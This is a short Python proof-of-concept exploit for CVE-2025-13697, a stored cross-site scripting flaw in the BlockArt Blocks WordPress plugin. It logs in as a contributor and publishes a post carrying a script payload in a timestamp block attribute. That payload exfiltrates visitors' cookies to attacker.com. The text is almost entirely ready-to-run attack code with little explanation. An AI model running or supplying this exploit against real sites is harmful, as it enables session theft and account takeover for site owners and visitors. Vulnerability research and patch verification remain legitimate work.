CVE-2025-13697

import requests import sys # CVE-2025-13697 PoC - BlockArt Blocks Stored XSS # Target: WordPress site with BlockArt Blocks plugin <= 2.2.13 target = sys.argv[1] if len(sys.argv) > 1 else 'http://target-wordpress-site.com' username = sys.argv[2] if len(sys.argv) > 2 else 'contributor_user' password = sys.argv[3] if len(sys.argv) > 3 else 'user_password' session = requests.Session() # Step 1: Login as Contributor user login_url = f'{target}/wp-login.php' login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/' } resp = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in session.cookies.get_dict(): print('[-] Login failed') sys.exit(1) print('[+] Login successful') # Step 2: Create post with XSS payload in timestamp attribute post_url = f'{target}/wp-admin/post-new.php' xss_payload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' post_data = { 'post_title': 'XSS Test Post', 'content': f'<!-- wp:blockart-blocks/timestamp-block {{"timestamp":"{xss_payload}"}} -->Test<!-- /wp:blockart-blocks/timestamp-block -->', 'post_status': 'publish' } resp = session.post(post_url, data=post_data) if resp.status_code == 200: print('[+] Malicious post created successfully') print(f'[+] XSS payload stored in timestamp attribute') print(f'[+] Payload: {xss_payload}') print('[+] Any user viewing this post will execute the injected JavaScript')

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